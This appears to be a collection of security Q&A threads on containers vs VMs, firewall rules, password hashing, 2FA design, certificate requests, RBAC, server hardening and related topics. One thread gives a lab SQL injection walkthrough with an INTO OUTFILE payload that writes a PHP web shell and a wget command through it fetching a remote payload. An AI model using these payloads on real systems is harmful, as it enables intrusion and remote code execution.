What disadvantages running untrusted applications in anbox has over running them in a virtual machine? I consider running Android applications in Anbox instead of running them in a virtual machine (Android-x86 in GNOME Boxes using QEMU with KVM). Does it increase the chances that malicious code in an Android app will get unauthorized access to the host system user's files?
According to Anbox.io website:

Anbox puts Android apps into a tightly sealed box without direct access to hardware or your data.

They list LXC containers among the technologies they use.

If you intend to run malicious apps better keep using VMs
The main difference between virtualization and containerization is that, while a virtual machine is running a full independent Operating System on the guest, a container is run by the same Operating System kernel of the host but with a different userland (TL;DR: Programs and folders around it. On most desktop Linux distributions it's GNU).
This means that if you run a Debian container on a machine with Fedora, the Linux kernel on both is the same. Not the same version nor the same kernel executed in parallel, there is just one kernel running that pretends there are two OSs with different network and other hardware interfaces but, as Linux is monolithic, the drivers controlling them are the same, as they are all packed inside the kernel.
As Android is another Linux distribution (just not GNU) it can be run in a container on most desktop distributions. However, as there is no kernel isolation, if there happens to be a vulnerability in it (or in some paleolithic storage device driver that nobody cares about anymore) a malicious Android app could exploit it and gain control over the two machines (container and host) for the price of one.
On the other hand, virtual machine hypervisors (QEMU, Xen, KVM) are also made by human programmers and sometimes their virtual hardware controllers have bugs too. However, there's a lot fewer virtual than real devices to write drivers for (usually only one of each kind on each hypervisor, which makes the attack surface much smaller) and, on modern hardware, virtual machine isolation is backed by the chipset and CPU, which makes it really hard for virtualized OSs to even know what physical machine they are running on.
Containers make sense when performance is more important than security but a security layer is still wanted: for example, if all the installed apps are open source and one does not plan on getting into "risky behaviours" then it would be quite reasonable to use containers instead of VMs.
Last but not least, independently of whether containers or VMs are being used, the CPU on the physical machine should not be vulnerable to speculative execution exploits (or at least have it disabled on the BIOS settings, although it makes the computer much slower) and preferably use Error-Correcting Code memory (the one used in servers and workstations) in order to prevent Row hammer attacks.


Firewall & TCP Traffic I have a question regarding network firewalls and TCP traffic. When a firewall rule is set to block either inbound traffic, outbound traffic, or both on a port, does that only apply to initial communication requests?

Just as an example, if I have a computer that has outbound port 80 blocked, but inbound port 80 opened, does that mean this computer can serve web pages, but cannot request any? Or does it mean that whenever a client connects, establishes a TCP session, and sends the HTTP request, the server is not allowed to send anything back?

Please let me know if this question is hard to understand. If so, I will try to clarify.

In the spirit of keeping it simple:

  Just as an example, if I have a computer that has outbound port 80
  blocked, but inbound port 80 opened, does that mean this computer can
  serve web pages, but cannot request any?

Yes

  Or does it mean that whenever a client connects, establishes a TCP
  session, and sends the HTTP request, the server is not allowed to send
  anything back?

No

Think of it this way. The source determines who is allowed to initiate the request. Once the connection has been established (assuming it's a stateful connection, ie: TCP) the communication is free to flow both ways until the session is over.


Endpoint for checking if user exists in system I have question regarding users point of view of this endpoint

/api/user which requires POST data: email=user@domain.com and returns {"user@domain.com": "exists"}

I am concerned if users might think that service returns sensitive data. Service stores emails only for logging in purpose, and never shows to anybody, but I have an external app which might want to know if email in phone book is our user or not. Is there something what I might be worry about?

Yes - you should worry about this.

Email addresses are personal information; they are linked to an individual. As G-Man mentions, there is a spam risk in divulging what email addresses exist. But moreover, the fact that a particular person uses your site is private information, that you should not disclose publicly. All sorts of sites could potentially be embarrassing: porn is an obvious one, and a recruitment site could be too. You haven't told us what your site does; but even if it's something quite innocuous, the fact that a particular individual is a member is private information.


Remote extraction of passwords from browser password managers I'm writing an essay about "Browser Password Managers". As part of this I have to write about vulnerabilities and exploits. I stumbled across the following scientific paper from 2013: "Password Managers: Attacks and Defenses by Silver et al." (https://crypto.stanford.edu/~dabo/pubs/papers/pwdmgrBrowser.pdf), which describes in section 4 "Remote extraction of passwords from password managers". I don't know if the described "sweep attacks" are still possible today, like in Chrome Browser? What about the same-origin-Policy?

Concept of "origin"

The "same origin policy" can only be as robust as the definition of an origin is. The origin is the entity the browser believes it talks to.

Quoting the paper:

  Next, by tampering with network traffic the attacker (...)

The idea that you can modify at least some server answers makes the origin of these vulnerable requests meaningless for security: if tampering is possible at all, it means that some (formal) "origins" don't correspond to the entity the browser is actually talking to; instead the browser is talking to the attacker, while believing it's talking to the legitimate HTTP server.

Without at least integrity of exchanged data (let's put privacy aside for a moment), you don't even have an origin.

(Of course without secrecy of the exchanged data, your password might be captured by an attacker when you log, so both integrity and secrecy matter.)

Note: These security properties doesn't have to come from robust cryptography, you could also log on a server on localhost with clear text HTTP. The OS will prevent the interception of the data on the TCP socket that uses only local routing.

If you don't have a well defined robust origin, you can't expect any protection from the browser mechanisms based on the origin.

When dealing with a remote server, with HTTP, and without lower level protections like IPsec or a secure tunnel protocol to the server, your data is vulnerable and "origin" is ill defined.

The most common vulnerable situation is using http: URLs on an open Wifi, but using the same URLs via a commercial "VPN" also exposes you, but not to the same party: using Wifi exposes you to local attacker (mostly an attack from the owner of the Wifi access point, but not only); using a "VPN" service exposes you to the manager of that service (who can spy on you).

Sound design of public websites (not private tools on an intranet) that deal with private information require the use of HTTPS. The paper insists on the fact that this is far from universal (at least when the study was done):

  It is especially easy for sites that serve their login page over HTTP
  (but submit passwords over HTTPS), which is a common setup discussed
  in the next section.

Hosting a "secure" form (one that sends data on a secure URL) on an insecure page is fundamentally, absolutely, definitely unsound. All webmasters should know that. Sadly it isn't the case as understanding of even the most basic facts of the security model isn't required from people who design websites.

Any HTTP request over the Internet is exposed to spying and tampering. Many ignorant Web page designers believe that "secure transport" (HTTPS, TLS) is only for secret data and is a significant and useless overhead for inherently non secret data, like the content of a login form (anyone can see the same login form).

And because they misunderstand the scope of "secure transport" they might put pages that inherently cannot contain private information on an insecure http: URL, making these vulnerable to tampering (and also spying on the who downloads that login page, but that one isn't usually a real concern).

The idea that "https:" URLs only exist for secrecy of informations exposed on a particular page, and the others can be in "http:" must die.

Sub-resources

Also don't forget that any Web page which includes any element that is allowed to contain Javascript code that runs in the context of the page is vulnerable to tampering, so this isn't limited to tampering with the HTTP content of main URL shown in the browser address bar; making HTTPS pages that include JS scripts or even CSS content loaded via HTTP is fundamentally unsound and modern browsers rightly refuse to load these insecure elements by default.

Special permissions for websites

You can't associate a meaningful "privileges" (or permissions) to an "origin" (like the right to access your webcam or your gyroscope) if the origin is insecure and can be usurped by an attacker with network access. That's why modern browsers restrict the permissions that an insecure origin can ask (or limit these privileges in time).

Human factor

It should be understood that these concepts aren't advanced or reserved for security professionals: they should be part of the basic common knowledge of at least all Web designers, and if possible of all users. It should be considered as elementary and obvious as "you don't start a car when the windshield is obstructed by an anti sun anti heat cover".

I didn't want to discuss psychology but there is a strong human factor that I want discuss here because that's what I see as one common reason for failure to take basic security measures.

One practical problem with computers and people is the often dismissive attitude that people who don't have even elementary knowledge have with respect to such knowledge; they often say that "they aren't experts, don't want to be, don't have the time to learn a lot" and "just want to get a job done" (probably as opposed to purists?) - as if more knowledgeable users were just pedants who wanted to have encyclopedic knowledge of computers, had unlimited time, or would want to get nothing done ever but in the most pure and elegant way. I know some people who have encyclopedic knowledge and allocate a lot of time to learn more, but they also want to get some task done (if only: to get to learn even more, which is a task).

Nobody wants nothing done ever, but that "nothing" done in the "purest" way. That's an oxymoron as getting anything done in the purest and most beautiful way would actually get something done and over. The frankly insulting undertone of these remarks is why some people never learn and why other give up on explaining how to properly use a computer to others (that is, to use it to something done).

Like any activity, using a computer for anything, including something as common as setting up a website, requires at least understanding of some basics. But when dealing with computers, almost nothing is really intuitive and we need to explain stuff without sounding pedantic.

Also for websites with millions of users, we need name and shame. Designing a website that doesn't even respect the most basic security principles should be seen as equally inane as driving with the windshield entirely obstructed, and pointing out the inanity of that conduct shouldn't be seen as pedantic.


Does this authentication scheme exist? For an IoT project I've defined a simple security schema. Does this already exsist and if so, how is it called?

Definition:

  There is one root key.
  With every key, a child key can be generated. The creation key becomes the parent.
  A child key can have write, read, delete, and/or execution rights.
  A parent has access to a child, a childs child, etcetera.
  A child has no access to a parent.
  A child can have an expiration timestamp which, when expired, keeps all children intact.
  A child can inherit the experation timestamp from parent.

This creates a tree of keys which can be given to people, devices, apps etcetera. The amount of keys created does not matter, a device can also have multiple keys.

You seem to be partially describing a PKI, and partially describing an authorisation schema.

While I realise this doesn't answer your question, you might want to split these concerns:

describe an authorisation scheme based on the relationships you describe, and the rights they grant (I am fairly sure I have seen the sort of scheme you describe before, but can't think of a name for it)
and describe the authentication scheme you mention, based on keys, as well as the mechanisms for key issuance, etc.

You may find it useful to do a more formal requirement analysis to work out whether your approach works for your actual use cases.


Password hashing on frontend or backend? I have a Java Server with Spring Boot and a JS Frontend in AngularJS.

My teacher told me to use HTTPS for passwords, because I cannot hash them securely enough, that nobody can hack them.

With HTTPS, if I get it right, I do not have to hash it extra.
My source: I just send username and password over https. Is this ok?

So now to my question: I store the pw in a DB of course. Where should I hash them? Frontend or Backend?

If I hash it on frontend, I do not have to do sth else on backend; but if the HTTPS certificate expires I'm insecure.
If I do it on backend, I do not have to do sth else on frontend; but if the HTTPS certificate expires I'm insecure.

I would use Scrypt, which is made for password hash.

@John already descriped the passing of the password over the network very well (use HTTPS).

To answer your question:

  Where should I hash them? Frontend or Backend?

The backend. If you only hash them in the frontend, you are vulnerable to a pass the hash attack.

The reason that you hash passwords in your database is to prevent an attacker who already compromised your database from using those passwords.

If you hash the passwords in the backend, an attacker has to first crack them to use them on your website. but if you hash them in the frontend, an attacker doesn't need to do this, they can just pass the hash as it is stored in the database.


Encrypt data within the TOR network They say that the last TOR node presents all the information in clear.

If I want to send some sensitive information by TOR, could you encrypt it, and in this way be encrypted by both the TOR nodes, and by my encryption?

Is this possible?

They say that the last TOR node presents all the information in clear.

Whoever "They" are they are wrong or you did understand them wrong. The data are not necessarily in clear in the exit node but the additional encryption offered by Tor is removed.

Thus, if you send plain (unencrypted) data (like plain HTTP) then it will come out of the exit node as plain again. If you put encrypted data (like HTTPS) then it will come as encrypted out of the exit node. Of course, the endpoint you ultimately access needs to understand the additional protection you've added on top of Tor. Note that this is not only true for Tor but for other VPN too.


Does MySQL Router offer any protection of MySQL-DBs behind it? I recently stumbled upon MySQL Router. Its documentation defines it's purpose as follows:

  MySQL Router is part of InnoDB cluster, and is lightweight middleware
  that provides transparent routing between your application and
  back-end MySQL Servers.

As I could not find any Information about the inner workings of it, I was wondering if it can be compared to a Load Balancer or Reverse Proxy in the HTTP world.

As Reverse Proxies are often used to add another security layer to your web application, I'd like to know, if this is something, that MySQL router could also achieve (unintentionally).

Maybe and only for DoS attacks. I see it's only like a load balancer.
For some extra security I would advice ProxySQL and then implement similar approach to https://www.percona.com/blog/2016/08/23/how-to-stop-an-offending-query-with-proxysql/ .

Explanation:

For databases main worst attack vector is SQL injection so routing/load balancing queries won't make any difference but blocking a query is much more better.

Best practice is to log every query and alert on some suspicion. Best case to use WAF but here ProxySQL acts like a database WAF.


Help to review 2FA algorithm First of all, I know, don't reinvent the wheel... But there's a good reason for this.

So I have been implementing a generic 2 factor authentication code generation/validation algorithm in order to re-use it in multiple applications and also make it stateless (the algorithm doesn't need to store anything in the database, and it doesn't require any user data at all.)

The application using the code is responsible to set a payload and validate it within the generic 2 fa process.

So here's how it would work...

1 - Application requests a new 2FA code passing down a payload:

1.1 - payload: arbitrary data, such as a user id and application id.

1.2 - a random 7 digits code is created (using crypto secure random libraries)

1.3 - an expiration time is selected, i.e. 3 minutes from current time, expressed as epoch time in seconds.

1.4 - data: (expiration, payload, code)

1.5 - data is encrypted using AES CTR with a randomly generated IV of 128 bits and a secret key

1.6 - both encrypted data and IV are digested through an HMAC that uses another secret key, in order to sign these two values.

1.7 - final token: 'base64 encrypted data : IV : signature'

1.8 - the token is returned to the user UI (such as a mobile app or login webiste)

1.9 - the code is sent through SMS or Email

2 - Application submits the original token, and user provided code to the backend

2.1 - token is decoded, and signature is validated

2.2 - token is decrypted, expiration checked, and user code is compared against the token code

2.3 - payload is returned to the application, which performs any additional validation such as fetching a user from the user id in the payload, etc...

Is this broken? You might ask why not just store the 7 digits code in the database, but the whole idea is to make this completely stateless and generic.

Also note: The endpoint for token generation/validation should be throttled in a way that it can't be brute forced.

After thinking about it for 15 minutes, and assuming it's implemented correctly and the applications using it use it correctly, the only minor problem I can come up with is a language one:

  1.8 - the token is returned to the user UI (such as a mobile app or login website)

UI implies it is presented to the user. The user has no need to see the token, it should just be returned to the user client, which submits it without the user ever having to see it. This is of course a very minor issue as it doesn't really do any harm for the user to see it, it's just not really necessary.

Of course, you probably want someone better than me thinking about it for more than 15 minutes.

Personally I expect that once a significant enough percentage of people are using 2FA (and enough places support 2FA), phishers will start using proxies like Evilginx, which OTP solutions are vulnerable to. As far as I know the only 2FA method that prevents this right now is U2F, which requires storing a public key for each user.

I don't believe it's even possible to prevent this type of phishing without storing a public key, secret, or something similar per user. If I were implementing 2FA I would try to make it compatible with U2F, or at least try to design it so that U2F or a future method could be easily added if desired.

Also note that neither SMS nor email have strong guarantees that they won't be intercepted. At least with TOPT or HOTP you could use something like Google Authenticator that, while still vulnerable against a malicious proxy, at least doesn't have to send a code that could be intercepted.


Certificate request - why does the requester have to create a private key? If remember right, then before I send a CSR (Certificate signing request) to the CA, I have to create private and public keys.

Then I use the public key to encrypt my personal details before I send them to the CA as a CSR file.

Why do I need the private key for?

And how does the CA read my CSR if only I have my private key?

From the wikipedia link:

  Before creating a CSR, the applicant first generates a key pair,
  keeping the private key secret. The CSR contains information
  identifying the applicant (such as a distinguished name in the case of
  an X.509 certificate) which must be signed using the applicant's
  private key.

Add:

The CSR contains the public key + additional information. It is signed (not encrpyted!) with the private key to proof authenticity (hint: can be verified with the public key).

Proofing that you own the domain or are the person that this certificate is issued for is a different, separate process. Domain validation is easyily verified by sending an email to the admin of the domain. Enhanced Validation (EV) the green bar, takes some physical proof and is a more extensive process therefore more expensive. Dito for certs issued to a person.


Explain the concept of RBAC to limit the right of senior staff If a senior staff got authority to makes changes in the financial records of an organization so can take the money out from the organization which is operated by junior staffs. can RBAC be implemented to stop this?

RBAC cannot directly stop a user from doing something evil if the user must be able to do an action with the potential for evil as part of the his job function.  For example, if the senior staff member does have the need to move around money with junior staff budgets because he fixes allocations between the junior staff members - then he could very likely as easily move the money to benefit himself in some nefarious way, since moving money is a pretty powerful tool.

Common forms of protection that DO use RBAC are a bit more subtle than just "don't let him do it".

Solution 1 - 2 Man Control

One solution that can work is to separate the work up into duties so that several people would have to conspire to commit fraud.  For example, give Sr. Executive the right to move money, but not create accounts.  Make account creation w/in the purview of a different team or a bigger boss who can't also move money.  Now the Sr. Staff can move money, but not to a personal account.

Solution 2 - Approval Required

Another similar approach would be to require approval of transactions.  Sometimes there's a dedicated group of approvers who can't also initiate the transaction.  And other times it's just that another person w. the same privilege is required to peer review the work.

Solution 3 - Job Rotation

Make the senior staff take a vacation every year. During that time, remove the role from his account and put it on someone else's (his alternate) - let his alternate get access to EVERYTHING (including logs), and let the person do a review of the senior staff's behavior.

Solution 4 - Auditing

Create a separate role of auditors who see the history of all transactions.  Make them review the senior's actions and make sure nothing inappropriate happens.

Make sure that senior does not have write/delete access to these audit logs, so he can't change them.  Put business logic in place to make sure that the audit role cannot be connected to any other role with change access in the system.

Those are the classics.

1 & 2 prevent the misuse of privileges.

3 & 4 track whether misuse ever occurs, the deterrent becomes the severity of the penalty


What are the pros and cons of using live CDs vs VMs for malware analysis? I'm planning on doing some malware research for a research project, and I was wondering what would be a better option for keeping my system safe from viruses accidentally infecting it.  I'm only planning on analyzing the binaries, not running them, but an errant click could happen.  Should I be trying to do this analysis in a VM?  Should I use a Live CD/Live USB boot (with some sort of forensic OS like Kali)?  I know some viruses can break out of VMs, so would that make the Live CD approach be better?  Or are there other things I'm not considering that makes the VM approach better?

The main two things that come to mind are the threats that can compromise you when using them.  In both cases, the threats are fairly rare.

For a VM, the main threat to your system is a virus that is able to exploit the hypervisor.  Such a virus would be able to escape the VM and infect your system.  VMs also have the benefit of being able to do a closer comparison to the state change caused by the virus to determine exactly what it does.

For a live CD, such a virus would be a hardware resident virus that is able to corrupt the hardware in such a way that it survives a reboot to your normal environment and is then able to spread.

Both are pretty unlikely to be problems from all but the best attackers, however, a hardware resident virus is a far bigger (if much rarer) threat than any software virus since it would be basically impossible to remove. Because of this, I would personally lean towards VMs, however the most truly paranoid individual could use a VM running off a live CD.


Security vs Usability When looking at the internet for ways to secure yourself, I normally see that people use weak security because the more secure you become, the lower the usability is.

Weak passwords trump strong security-- Law 5 of Microsoft's 10 Immutable Laws of Security

I would like to argue that this is not the case any longer. Here are the reasons why I think that you can have high security along with high usability.

Password managers
Managers such as Dashlane mean that you only need to remember one password, even though you have a uneque password on every site.This allows for high security with high usability.

Two step verificationThis means that the user could have a week password, however, it improves security since the hacker would need the 'somthing you have' element as well as 'something you know'.

YubiKeyThis allows you to enter two step verification numbers automatically without needing to know the code at all. This improves on the usability of the above point, while still keeping the same security.

There may be more points than this. As you can see, you can have high security along with high usability if you use the correct tools.

Sorry if this is classed as an 'opinion' based question. I have backed it up with some facts to try and make it less opinion based and more fact based. If this is an opinion based question, please let me know and I will delete it.

Yes, security vs usability still exists, although perhaps to a diminished extent. Each of your examples is designed to reduce the complexity of maintaining strong security, but none of them completely remove the additional work for the users.

Even password managers, which I would consider the easiest step, are massively underused (outside the IT industry). Though it's easier once the manager is set up, it still requires a completely separate application be installed, and most password managers that I have encountered are complex enough to pose significant difficulties to less-technical users.

Why download another program and get "that one tech friend" to set it up for you when you can just reuse the same password you use for everything?

Meanwhile, two-factor authentication and YubiKey each have their own issues - 2FA requires several more steps in the login process, whereas YubiKey has all the issues of any physical device; I'm not familiar with it myself, but how well would it fare after a trip through the washer and dryer?

Of course, this may change; Dashlane is a great step in making a usable password manager, but for now increased security still results in lost usability.


Uploading Shell Using SQLI I found an SQL injection vulnerability in a Wordpress installation inside one of my lab machines and I am trying to leverage it to upload a shell.

I can get the admin hash but it seems that it is quite complex as JTR and HASHCAT are taking long times without luck.

Here is the basic output from SQLmap:

web server operating system: Linux Ubuntu xxxxxxxxx
web application technology: PHP 5.2.6, Apache 2.2.11
back-end DBMS: MySQL 5
[02:24:38] [INFO] testing if current user is DBA
[02:24:38] [INFO] fetching current user
current user is DBA:    True
[02:24:38] [INFO] fetching database names
[02:24:38] [INFO] the SQL query used returns 3 entries
[02:24:38] [INFO] resumed: "information_schema","information_schema"
[02:24:38] [INFO] resumed: "mysql","mysql"
[02:24:38] [INFO] resumed: "wordpress","wordpress"
available databases [3]:
[*] information_schema
[*] mysql
[*] wordpress

I tried --os-shell option but It seems no write access as I get these errors:

  [02:26:36] [WARNING] unable to retrieve automatically any web server
  path

  [02:26:36] [INFO] trying to upload the file stager on '/var/www' via
  LIMIT INTO OUTFILE technique

  [02:26:37] [WARNING] unable to upload the file stager on '/var/www'

  [02:26:37] [INFO] trying to upload the file stager on '/var/www' via
  UNION technique

  [02:26:37] [WARNING] expect junk characters inside the file as a
  leftover from UNION query

  [02:26:38] [WARNING] it looks like the file has not been written, this
  can occur if the DBMS process' user has no write privileges in the
  destination path

I can get --sql-shell without problem. I tried the steps here (http://evilzone.org/tutorials/upload-shell-with-sql-injection/) to upload a shell but I get the following error

  [02:00:16] [WARNING] execution of custom SQL queries is only available
  when stacked queries are supported

Now, I need a way to upload a shell to the target machine, any thoughts? Also any thoughts where I can crack Wordpress admin password hash online?

Yes, You can write your shell onto the web server  with SQL statements without logging into the admin panel or any other control panel.

But for this you have to met certain requirements:

Your must have write privileges and a writable directory (where you have to upload your shell)
Root Path (i.e /var/www/website/)
Magic Quotes must be enabled

Check for write privileges

Now the question is how to check if you have write permissions? What you can simply do is read file_priv from the mysql.user table:

union select 1,2,3,concat(user(),0x3a,file_priv) from mysql.user--

If it says Y after your current user, then you are lucky and you have write privileges.

Create a file to receive the shell

Now it's time to make use of MySQL statements. We're going to use INTO OUTFILE, which writes your selected rows onto a file. The basic syntax is:

select column_name from table_name into outfile "filepath/file.extension

Something like this should create a file named shell.php in the website directory and write that PHP code inside it:

http://website.com/file.php?id=1 union select 1,"<?php system($_REQUEST['cmd'])?>",3,4 INTO OUTFILE " /var/www/website/public_html/shell.php"

Access the shell

Now we can access our shell by visiting http://website.com/shell.php?cmd=whoami. You can run any command after cmd=. You can now upload a ready-made shellcode to the server using curl or `wget (on Linux servers):

`http://website.com/shell.php?cmd=wget http://othersite.com/shell.txt -O code.php`

And then you can access your shell with:

http://website.com/code.php

Hope you understood everything :)


Can deleting a non-inherited object more than once be exploited for code execution? When assigning priority for a bug, we had an internal discussion whether in C++ deleting an object more than once can result in code execution if the pointer to object can be corrupted. For the objects having virtual destructor the answer seem to be obvious here.

However what is not obvious whether this could be exploited for code execution when a deleted object is either a standard type (i.e. long), an array, or an instance of a class which does not have virtual table.

Can this situation result in code execution on any existing popular implementations?

For basic types, such as long or array, I can't think of a way remote execution could be achieved. With classes, there are many options beyond virtual table. For example a member class may have a virtual table. A shared pointer could also be used, as it contains a pointer to destructor function. Other more exotic cases such as a destructor calling a function using a pointer could also happen and there probably are more. I would recommend taking such a bug seriously.


Why fingerprint scanner doesn't work after reboot on Mi phones? When I first experienced this I ignored it. But after some days I noticed that I had to unlock it by pattern lock or password everytime I restart the phone and after  unlocking by pattern/password, I was able to use fingerprint.

Why is this so? I am not sure that every Android device has the same issue. Is this a security feature? If yes, why? I mean if this is a security feature the phone must be unlocked by fingerprint, as pattern or password can be guessed after some attempts (especially patterns).

There are some threads (see this and this), but they doesn't seem to be very informative.

There is a secure enclave that stores your biometric data. It has to be given your passcode in order to decrypt your biometric data on reboot.


What are some steps to take for securing a Linux server that aren't in this list of obvious ones? Obvious things:

Disable root login (rather, don't enable it)
Secure SSH (no root login, key auth only, timeout after inactivity, whitelist users who can SSH in, etc.)
IP Tables firewall whitelisting only the proper traffic on 80/443/22
Update all packages
Disable Control-Alt-Delete for the console

The OS is Ubuntu 12.04.1 x86-64 (server) and the use is as a web application server. The software used is:

Nginx (run as www-data)
Supervisor (run as root with no HTTP server or RPC server)
uWSGI (run as www-data)
Celery (run as www-data)
Redis (run as www-data)
Memcached (run as www-data)

I ask because I'm not sure what things that are installed with Ubuntu 12.04.1 which might be have potential security vulnerabilities, which things I may have accidentally left off my "obvious" checklist and which of the packages I've mentioned above which might have security vulnerabilities (all installed as packages vs manually compiling, btw).

Run your web application as a different user than everyone else.  This is what www-data is for!!!!!
Remove write access to your web root!  (And only your web application (www-data) should have
read/execute)
Use a Web Application Firewall (WAF).  Naxsi for Nginx is an
option however mod_security is a better WAF.
Remove access to port 22 using Port Knocking Or Bastion
Host (Bonus points for using both!)
Force HTTPS only to avoid OWASP a9 violations.  HTTP should only
be used to set HSTS and redirects to HTTPS.
Last I checked Ubuntu doesn't have AppArmor rule sets for ngix,  where as
they do for the LAMP install.  Also be aware that nginx is very young
and as a result more advisories are released for ngix than
[Apache]
setup apt autoupdate for security related updates.
If you have the money,  get a pentest


HMAC What is secure manner to distribute shared secret between client and server? I am looking at ways to secure http communication using HMAC.  My understanding is that in this scenario the client and the server both know a secret.  This means the secret must be first generated on the client (or the server? Does it matter which side?).  At this point only one side has the secret. How does the secret get passed to on the other side (or if not passed once how does it ever come to know it)? Would this not involved sending it across albeit one time? How else would the secret ever be known to both the client and server?  If sending it across during initialization is in fact the thing to do, how can this be done securely?

Now I realize that a separate channel might be used like email etc, but what if you needed to use establish HMAC automatically without user involvement?

First, HMAC is used for verifying the originator of a message and only the sender needs a secret.  It is useless for purposes of secrecy.  Second, key exchange is a hard thing.  You can do it through a side channel, but since that is hard, that is why most browsers do it for you by way of a pre-installed list of root CA certs that are installed with the browser.  This is how your browser knows to trust information coming from a particular server.

Since the server knows a secret that the client can trust, it is possible for the client to send a session key that only the server can read and then that shared secret can be used for secure communication.  That's the basis behind SSL and why SSL is used as commonly as it is since otherwise you have to do the key distribution yourself for every client.

Edit: As CodesInChaos pointed out, any kind of encryption can be used to validate the MAC is valid for the message by an authorized party.  It doesn't have to be public/private, but that doesn't really alter the fact that key-exchange is the problem as public/private is more easily dealt with in this particular case than using symmetric keys.


When is memory allocation/layout deterministic? I'm trying to learn about buffer overflow attacks, both on the stack and on the heap.  However, I'm confused about when it's possible to determine the address of the buffer.

The classic "Smashing the Stack for Fun and Profit" mentions the need to use a sizable NOP sled in a stack-based buffer overflow attack in order to reliably jump into the shellcode placed into the buffer.  This seems to be due to the fact that the buffer ends up at a different memory location in each run of the program.  However, it's not completely random, since it is possible to guess the address of the buffer by increasing the chances using a NOP sled.

In contrast, the environment variables passed to the program are placed in the same addresses every time, enabling a much easier local attack in which the attacker places shellcode into an environment variable, and then can jump to that environment variable's location exactly.

I'm still in the dark about how this plays out for heap-based buffers (e.g. those allocated by malloc) and in other situations.  Therefore:

In which circumstances is memory layout deterministic?
How predictable is it even when not entirely deterministic?  Finally, how do exploit mitigations like ASLR and PIE affect this?

Part of the problem has to do with what the memory layout looks like at program initialisation and what the memory layout looks like after it has been running for a while and you manage to get your buffer to overflow.  You also have to contend with the 'works on my machine' issue.

So at initialisation, all the environment variables will be loaded at the same place because this is a reasonable fixed and early process.  When it comes to overflowing the buffer you cannot always ensure that you are triggering it at the same time each and every time.  for example if the application receives network packets, it would be very difficult for you to send exactly the same packets all the time.  So as a result by the time you come to trigger the overflow the memory layout may not be exactly the same.  Hence the need for the NOP sled as somewhere to 'land'.

The 'works on my machine' problems is that, really, you want your exploit to work on other peoples machines, and they are unlikely to be configured exactly like yours is.  There may be different versions of libraries, different hardware configurations, all of which mean that the target overflow address is unlikely to be the same as yours.

These problems can make it hard to ensure that the memory layout will be the same all the time, so instead you work on a range of likely values and hence the need for a NOP sled.


Malware hidden on a USB drive, does the malware always need to run to hide itself? Would malware be able to hide itself in the controller somehow or otherwise be able to effectively hide files itself from both windows and Linux?

Short answer is no. Both Windows and Linux offers direct ways to hide file from traditional directory listings:

On Windows, you can add "Hidden file" property to a file,
On Linux, the file is considered hidden if the name begins with a dot (.).
So, would have a file whose name begins with a dot and with 'hiden' attribute set, it would be invisible to both Windows and Linux standard directory listings and default file browser navigation.

Moreover, a malware could also use more advanced tricks, but this would be more OS dependant. For instance on Windows some malware are known to store data in user's files metadata, a functionality offered by Windows allowing to associate a potentially large amount of data to a file: this data avoid to create any new file, is accessible under Windows, and as far as know is not visible under Linux (Linux only show an inconsistency between file space actually used by the file ("du -sh") and remaining free space ("df -h") in case of large data stored this way).

This is just an example, usually malware can be quite inventive to hide themselves...


Risk for information not being transmitted when connecting to an evil twin wi-fi spot If I connect to an evil twin wi-fi hotspot, aka rogue AP, among other names, are only the data being transmitted at risk, or, are the data on my HD also vulnerable?

I am working with Windows 8, updated.

Your whole machine is at risk.

The AP can see your network traffic, and also modify it. A typical attack would then modify a page you are accessing to insert malware as an attempt to take over your computer. If you have all updates, AV is enabled, and you click carefully, then the risk is reduced, but advanced malware could still get you.


How to test the php vulnerability CVE-2014-3515 How to test if I'm vulnerable regarding CVE-2014-3515? My vendor supplied me with a patch and verified that it installed however I would like to verify that I am no longer vulnerable. My vendor currently does not provide any instructions on how to do this. I am working with a Linux platform.

Stefan Esser actually wrote a proof of concept for this vulnerability. You can find the entire post here. I will not reproduce the code here because it's super long, but the general gist of it is this:

Spray the heap with a repeated pattern of fake hashtables, buckets and zvals
Trigger the malicious unserialize().
Program segfaults
Picking through the coredump reveals that you control the Return Instruction Pointer, and therefore have pwned the machine very, very hard.

This POC was developed for a Mac OSX system running PHP 5.4.24, so it may or may not work against a Linux system.


Concealing method results I have to maintain a java application with security code I am not sure is really useful and the original purpose is not clear (and the original developer is long gone).

Basically, the code will check some security parameters before allowing the user to do something. There are several methods that do several checks. The trick here is that these methods isXXXCorrect, isYYYAllowed, isZZZTampered, etc... do not return true or false.

The code has two constants TRUE and FALSE which are initialized to randomly generated strings when the program is launched. Then the methods return TRUE or FALSE, and the calling methods check for equality to TRUE or FALSE.

Some context: the app is, in the end, a standalone program installed by the end user who might want to hack the program and deactivate these securities. On packaging, the code is obfuscated with zelix klassmaster. The trick is on local methods calling other local methods, no network communication is involved.

My question is, does this trick have any real use to secure my code?

Edit : clarification after comments and further thoughts of my own.

I know that no security will be enough if someone really wants to reverse engeneer/modify the software. I know that, even if reasonable efforts are made to make this hard (obfuscation, etc.), no effort will ever be absolutely enough in this context. But if some of these efforts add no value and clutter the code...

I wonder what the initial developer was trying to achieve here. Improve obfuscation? We use Zelix Klassmaster and it performs encryption of the strings in code, so the "random string" aspect does not seem to me to have an added value in that regard. Prevent some attacks? This would protect from a man in the middle between a local method and another local method? Does this even make sense?

No, all of that is pointless. An attacker could reverse engineer your program and nullify all of your security checks, even with all of the efforts you described. Any code or data that you don't want the user to have 100% full control over needs to live on a server, period.


Storing vault read token securely I have PCF spring boot application which needs to access the vault server to get the credentials to create datasource during startup. Right now we are hard coding  the app role id and secret id in the spring boot application . Is there a best practices in storing this secret id without exposing explicitly (like injecting during startup)

There are numerous things that you could do, depending on whether the host is permanent or if it's under development and might be moved, etc. One way some people store this information during development is simply putting them into environment variables that the application reads. Yes, other applications can potentially read these, but I don't think it's likely for dumb malware to be able to abuse them.

Another solution is to just pass the creds in through command line arguments. This is potentially more work, but other applications and users won't be able to read this as easily (they can of course look through your command line history), and if you decide that it just isn't worth the effort later, you could write a script to run the application with the hard coded creds.

Another idea based off this answer is to have the secret stored on some external hardware that the software could read from. If you're really serious, you could put the secret in an encrypted file that would require a key file or a Yubikey to decrypt. The application would then just read from this file. Obviously, file permissions need to be properly set here so that only the user running the application can read this file.

You could possibly encrypt the secret and store this inside the application, and provide a key through the command line arguments to decrypt it in memory. Whether this is any better than the other solutions is debatable. It all depends on what your needs are and what you're trying to protect the credentials from.


